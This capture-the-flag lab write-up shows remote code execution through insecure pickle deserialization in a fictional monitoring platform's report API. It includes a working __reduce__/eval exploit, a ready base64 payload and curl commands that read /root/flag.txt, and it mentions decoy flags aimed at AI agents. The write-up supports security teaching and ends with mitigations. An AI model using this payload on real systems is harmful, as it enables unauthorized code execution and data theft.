Lab 127 — PulseMetric — Insecure Deserialization via Pickle in Agent Report API
Lab 127 — PulseMetric — Insecure Deserialization via Pickle in Agent Report API
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-07 | Status: Solved Techniques: api_key_authentication, base64_payload_encoding, decoy_flag_avoidance, pickle_deserialization_rce, reduce_method_exploitation
Summary
Task: Server monitoring platform with Agent Report API that deserializes base64-encoded pickle data from report_data field. Decoy flags in HTML comments. Solution: Craft malicious pickle payload using reduce method to execute arbitrary commands, base64-encode it, and send via POST /api/agent-report to achieve RCE and read /root/flag.txt.
Lab 127 — PulseMetric — Insecure Deserialization via Pickle in Agent Report API
Description
PulseMetric is a server monitoring platform by Metric Labs Inc. that collects metrics from distributed monitoring agents deployed across your infrastructure. The platform provides real-time dashboards, customizable alert rules, and historical analytics.
Monitoring agents periodically submit telemetry data to the central PulseMetric server through an API endpoint. The dashboard displays aggregate CPU, memory, and disk usage across all registered agents, with detailed per-agent views including raw telemetry report data.
Investigate how the platform handles incoming agent data and find a way to retrieve the flag stored on the server.
Credentials: user@test.com / password123
English summary: A Flask-based server monitoring platform where agents submit telemetry via an API. The report_data field accepts base64-encoded pickle data that gets deserialized server-side without validation, enabling Remote Code Execution.
Analysis
Reconnaissance
The application is a Flask/Python web app identified as "PulseMetric v3.2.0". After logging in with provided credentials (user@test.com / password123), the following pages are accessible:
- Dashboard (
/dashboard) — aggregate metrics from monitoring agents - Agents — list of registered monitoring agents with telemetry data
- Alerts — customizable alert rules
- Settings (
/settings) — API documentation and API key
Decoy Flags
HTML comments contain FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} — these are honeypot flags designed to mislead automated scanners and AI agents. The real flag is stored on the filesystem.
API Discovery
The /settings page reveals API documentation for the Agent Report endpoint:
- Endpoint:
POST /api/agent-report - API Key:
pm_live_t3u8v1w5y2z6a0b4c7d9e1f3g5h8j2k6 - Authentication:
X-API-Keyheader - Critical detail: "Reports are serialized using Python's native serialization format and transmitted as base64-encoded payloads"
The report_data field contains base64-encoded pickle data that the server deserializes using pickle.loads().
Vulnerability Identification
Python's pickle module is inherently unsafe for deserializing untrusted data. The __reduce__ method allows specifying an arbitrary callable with arguments that gets executed during deserialization. This is a well-known RCE vector.
The server:
- Receives JSON with
agent_idandreport_datafields - Base64-decodes the
report_datavalue - Calls
pickle.loads()on the decoded bytes - Stores the deserialized result as the agent's telemetry report
Solution
Step 1: Create Malicious Pickle Payload
python read-only • copy allowed#!/usr/bin/env python3 import pickle import base64 class RCE: def __reduce__(self): return (eval, ("__import__('subprocess').check_output(['cat', '/root/flag.txt']).decode()",)) payload = pickle.dumps(RCE()) encoded = base64.b64encode(payload).decode() print(encoded) # Output: gAWVZQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxJX19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNoZWNrX291dHB1dChbJ2NhdCcsICcvcm9vdC9mbGFnLnR4dCddKS5kZWNvZGUoKZSFlFKULg==
The __reduce__ method returns a tuple of (callable, args). When pickle deserializes this object, it calls eval("__import__('subprocess').check_output(['cat', '/root/flag.txt']).decode()"), executing our command.
Step 2: Verify RCE with Directory Listing
First, test with ls -la / to confirm code execution:
bash read-only • copy allowed# Generate payload for: ls -la / python3 -c " import pickle, base64 class RCE: def __reduce__(self): return (eval, (\"__import__('subprocess').check_output(['ls', '-la', '/']).decode()\",)) print(base64.b64encode(pickle.dumps(RCE())).decode()) "
Send the payload:
bash read-only • copy allowedcurl -s -X POST "$URL/api/agent-report" \ -H "Content-Type: application/json" \ -H "X-API-Key: pm_live_t3u8v1w5y2z6a0b4c7d9e1f3g5h8j2k6" \ -d '{"agent_id": 1, "report_data": "<base64_payload>"}'
The response contains directory listing in report_summary field, confirming RCE.
Step 3: Locate and Read the Flag
Exploration revealed /app directory with ANALYST_RESULT.json indicating flag location: /root/flag.txt
Final exploit to read the flag:
bash read-only • copy allowedcurl -s -X POST "$URL/api/agent-report" \ -H "Content-Type: application/json" \ -H "X-API-Key: pm_live_t3u8v1w5y2z6a0b4c7d9e1f3g5h8j2k6" \ -d '{"agent_id": 1, "report_data": "gAWVZQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxJX19pbXBvcnRfXygnc3VicHJvY2VzcycpLmNoZWNrX291dHB1dChbJ2NhdCcsICcvcm9vdC9mbGFnLnR4dCddKS5kZWNvZGUoKZSFlFKULg=="}'
Response:
json read-only • copy allowed{ "status": "success", "agent_id": 1, "report_summary": "FLAG{REDACTED}\n" }
Mitigation
- Never use pickle with untrusted input — use JSON, MessagePack, or Protocol Buffers instead
- If pickle is required, use
hmacto sign serialized data and verify before deserializing - Implement allowlist-based deserialization with
RestrictedUnpickler - Run the application with minimal privileges (not as root)
- Use containerization with read-only filesystems where possible